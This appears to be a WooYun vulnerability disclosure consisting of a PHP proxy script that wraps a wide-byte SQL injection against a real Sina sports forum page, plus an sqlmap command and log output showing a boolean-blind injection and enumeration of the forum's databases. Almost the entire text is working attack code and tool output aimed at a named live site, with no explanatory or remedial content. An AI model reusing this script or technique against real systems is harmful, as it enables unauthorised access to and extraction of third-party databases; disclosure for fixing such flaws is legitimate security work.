WooYun.org

<?php
$url = "http://forum.sports.sina.com.cn/digest.php?authorid=1504838220%df' and 1=".$_GET['sql']."%23";
$url=str_replace(' ', '%20', $url);
$url=str_replace('--', '', $url);
echo $url;
echo file_get_contents($url);
?>

python sqlmap.py --url="http://localhost/htdocs/test.php?sql=1" --dbms=mysql --technique=B --threads=10 --dbs             
         _
 ___ ___| |_____ ___ ___  {1.0-dev-8281fe4}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:50:14
[17:50:14] [INFO] testing connection to the target URL
[17:50:15] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: sql (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sql=1 AND 5186=5186
---
[17:50:16] [INFO] testing MySQL
[17:50:16] [INFO] confirming MySQL
[17:50:16] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.2, Apache
back-end DBMS: MySQL >= 5.0.0
[17:50:16] [INFO] fetching database names
[17:50:16] [INFO] fetching number of databases
[17:50:16] [INFO] retrieved: 
[17:50:17] [WARNING] reflective value(s) found and filtering out
3
[17:50:21] [INFO] retrieving the length of query output
[17:50:21] [INFO] retrieved: 18
[17:51:19] [INFO] retrieved: information_schema             
[17:51:19] [INFO] retrieving the length of query output
[17:51:19] [INFO] retrieved: 11
[17:51:58] [INFO] retrieved: forumsports             
[17:51:58] [INFO] retrieving the length of query output
[17:51:58] [INFO] retrieved: 4
[17:52:14] [INFO] retrieved: test           
available databases [3]:
[*] forumsports
[*] information_schema
[*] test
[17:52:14] [INFO] fetched data logged to text files under '/Users/.sqlmap/output/localhost'